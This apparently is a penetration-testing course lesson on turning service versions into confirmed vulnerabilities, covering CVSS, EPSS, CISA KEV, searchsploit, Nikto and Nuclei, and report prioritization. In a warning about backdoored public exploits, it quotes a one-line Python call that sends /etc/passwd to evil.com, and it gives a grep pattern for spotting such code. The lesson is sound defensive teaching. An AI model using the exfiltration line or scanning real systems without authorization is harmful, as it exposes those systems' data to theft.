Zum Hauptinhalt springen

Vulnerability research — Concepts

You have the list of services and their versions. You do not know the flaws yet. This week, we turn a version into an exploitation lead. This is the hinge of the pentest: without it, you scan forever. With it, you strike.

Reminder

Confirming a vulnerability sends something to the target. Stay strictly within the RoE. On public targets, do not go beyond the minimal proof (do not dump the database just for the thrill of it).

What you will be able to do after this lesson​

  • Read a CVE record correctly and understand why the CVSS score alone lies.
  • Use EPSS and KEV to prioritize beyond CVSS.
  • Chain NVD → Exploit-DB → GitHub → Twitter/Mastodon in the right order.
  • Interpret Nikto and Nuclei results without drowning in false positives.
  • Move from a hypothesis ("Apache 2.4.49 is vulnerable") to a proof ("on this exact URL, I retrieved /etc/passwd").
  • Produce a prioritized table of vulnerabilities, ready for exploitation.

1. The vulnerability, the CVE, the POC, the exploit​

Four words. Confused all the time. Nail them down once and for all.

WordWhat it is
VulnerabilityThe weakness itself (a piece of code, a config). A technical fact.
CVEA unique identifier assigned to a vulnerability (e.g. CVE-2021-41773). Nothing more.
POC (Proof of Concept)A minimal example that triggers the vulnerability, often a few lines.
ExploitA finished tool that uses the vulnerability for a useful result (shell, RCE, exfiltration).

A CVE can exist for 5 years without a public POC — in that case, nobody really knows how to exploit it in practice. Conversely, an exploit can circulate before a CVE is officially assigned (zero-day).

For a pentester: CVE + POC + exploit = a concrete lead. CVE alone = a theoretical lead.

2. The CVSS score — the trap of scores out of context​

CVSS (Common Vulnerability Scoring System) gives each vulnerability a number between 0 and 10. Everyone looks at it. Almost everyone reads it wrong.

Three CVSS vectors coexist:

  • CVSS Base — the theoretical rating, without accounting for your environment. It is the one Google returns.
  • CVSS Temporal — adjusted for whether a POC exists, whether a patch is available.
  • CVSS Environmental — adjusted for your context: is the service exposed, does it handle critical data?

A CVSS Base 9.8 on an internal service, filtered, patched in 2 hours = CVSS Environmental 4.2.

A CVSS Base 6.5 on an Internet-facing application, unpatched for 2 years, with a trivial public exploit = CVSS Environmental 9.6 in practice.

Do not rank your findings by CVSS Base. Recompute by hand with the client's context.

3. EPSS — the probability it is actually exploited​

EPSS (Exploit Prediction Scoring System): a probability, between 0 and 1, that the vulnerability will be exploited in the next 30 days. Computed from real-world observations (honeypots, Internet sensors).

EPSSInterpretation
< 0.01Forgotten vulnerability, no exploit in circulation.
0.01 - 0.10Rare but possible.
0.10 - 0.50Moderate, exploit available, targeting possible.
> 0.50High. The exploit is being seen in the wild.
> 0.90You should have patched already.

Official site: www.first.org/epss.

EPSS complements CVSS. A CVSS 7.5 + EPSS 0.9 is more urgent than a CVSS 9.8 + EPSS 0.001.

4. KEV (CISA) — absolute urgency​

CISA (the U.S. cybersecurity agency) maintains the KEV (Known Exploited Vulnerabilities Catalog). A CVE listed in KEV means "actively exploited in the wild".

Site: www.cisa.gov/known-exploited-vulnerabilities-catalog.

For a pentester: a KEV CVE at your client is an immediate priority 1. You do not ask for permission; you call the client urgently if you confirm it during the test.

5. The standard path to qualify a CVE​

A reproducible method in 6 steps. Do not skip a step.

Step 1 — Verify the version​

The scanner said Apache 2.4.49. That is almost always true — except on distributions that backport a patch without changing the version number. Debian/Ubuntu often add -ubuntuX: Apache/2.4.49-1ubuntu5.3 may be fixed while vanilla Apache/2.4.49 is not.

Verification:

# On an internal pentest, if you have a shell: dpkg -l apache2 or rpm -qi httpd
# From the outside, black box: try the POC. If it works, that settles it.

Step 2 — Query the NVD​

nvd.nist.gov — the official reference. Every CVE has a record there with CVSS, description, references, affected products.

Step 3 — Look for a POC or an exploit​

In order:

  1. Exploit-DB: the historical database. Search by product / version / CVE.
  2. GitHub search: the most recent POCs often show up on GitHub first.
  3. Twitter / Mastodon (via infosec researchers): zero-days and new techniques pass through here first.
  4. Researchers' blogs: Rapid7, PortSwigger, Watchtowr, Assetnote. Often an explanation plus a detailed POC.

On Kali, searchsploit queries a local copy of Exploit-DB, kept updated:

searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py    # pulls an exploit down locally

Step 4 — Read the exploit before running it​

NEVER run an exploit found on the Internet without reading it first.

Two reasons:

  • Public exploits contain backdoors targeting beginners. An import requests; requests.post('http://evil.com', data=open('/etc/passwd').read()) slipped into the script steals your own data.
  • An exploit can be destructive (formatting, unintended DoS). Your RoE does not cover that.

Run each exploit through grep -i "eval\|exec\|base64\|http\|curl\|nc " before launching.

Step 5 — Adapt to the target​

A public POC often uses generic paths or parameters. The target may have renamed its endpoint, changed its port, modified its Host header. Adapt before you blame the exploit.

Step 6 — Reproduce cleanly​

At least three elements in your evidence:

  • The request sent (curl -v captured, or a Burp raw request).
  • The response observed (the telling excerpt).
  • A screenshot or an output file the client can verify.

Without these three elements, the vulnerability is not confirmed, it is suspected.

6. Nikto — the ancestor web scanner​

nikto probes a web application with several thousand tests. Powerful, chatty, full of false positives.

nikto -h https://target.com -Format txt -o reports/nikto-target.txt

What it does well:

  • Detecting forgotten files (.git/config, phpinfo.php, backup.tgz).
  • Detecting version banners.
  • Detecting dangerous configurations (dangerous HTTP methods, missing headers).

What it does badly:

  • Repeated false positives on modern frameworks that return 200 OK for everything.
  • Noisy — a full nikto run is several thousand requests.
  • Does not follow application redirects — it misses things.

Typical use: a quick pass, then you filter the real findings by hand.

7. Nuclei — the modern, template-driven scanner​

nuclei (by ProjectDiscovery) loads YAML templates that describe a vulnerability and its signature. Active community, thousands of templates.

# CVE and exposure templates, high and critical severity
nuclei -u https://target.com -tags cve,exposure -severity high,critical

# Targeted at a specific CVE
nuclei -u https://target.com -t http/cves/2021/CVE-2021-41773.yaml

Strengths:

  • Rare false positives (templates are written to match precisely).
  • Fast (multi-threaded, HTTP/2).
  • Continuously updated by the community.

Weaknesses:

  • Does not replace a pentest — it finds what it knows.
  • Can flood a target with noise if you do not filter the tags.

Good practice: -tags cve,exposure for discovery, then targeted templates once you have a lead.

8. The application scanners (overview)​

At this stage, we do not replace a pentest with a scanner. But we know what each one brings:

ToolDomainStrength
Nessus / OpenVASNetwork, VM, hostsMassive inventory, up-to-date CVE databases.
NiktoWeb (generic)Forgotten files, banners.
NucleiWeb (templates)Targeted CVE detection.
Burp Suite (Scanner Pro)Web (application)The best for OWASP Top 10 vulnerabilities.
TrivyDocker images, dependenciesCVEs in packages.
kube-hunterKubernetesInternal cluster scans.

On a serious pentest, you use at least two different scanners and correlate.

9. Prioritization — do not hand over a flat list​

A report with 200 unprioritized lines is unusable. Group them.

PriorityCriteria
P1 — CriticalExploitable without authentication + publicly exposed + KEV or public POC.
P2 — HighExploitable with a standard account + access to sensitive data.
P3 — MediumExploitable under rare conditions, limited impact.
P4 — Low / ConfigurationConfiguration flaw, hygiene, to fix without urgency.

Each line of the report carries:

  • The short title.
  • The priority.
  • The CVSS Base and your recomputed environmental CVSS.
  • The EPSS if known.
  • Whether it is in KEV (yes/no).
  • The proof (URL, request, response).
  • The recommendation (patch, config, mitigation).

10. The mistakes that kill your credibility​

  • Reporting CVSS Base alone. The client will see right away that you did not contextualize.
  • Copy-pasting the NVD record. The client can read NVD. They pay you for the context.
  • A vulnerability without reproducible proof. "The service is vulnerable to CVE-2021-XXXX" with no request/response — the CISO can do nothing with that.
  • Nikto false positives left in the report. A single false positive discredits the whole report.
  • P1 priority by excess. If everything is P1, nothing is P1.
  • Ignoring chained vulns. Two chainable P3s are often worth a P1. Flag the chain.

11. What to remember​

  • Vulnerability, CVE, POC, exploit: four distinct things.
  • CVSS Base lies out of context. CVSS Environmental and EPSS + KEV prioritize well.
  • Moving from version to flaw follows 6 steps: version → NVD → POC → reading the POC → adaptation → proof.
  • Nikto and Nuclei are complementary. Neither replaces the human eye.
  • The report is prioritized, not flat. Each line has a proof and a recommendation.

Next lesson: we qualify the vulnerabilities of our two Metasploitable hosts — and we take two of them down, without Metasploit, by hand.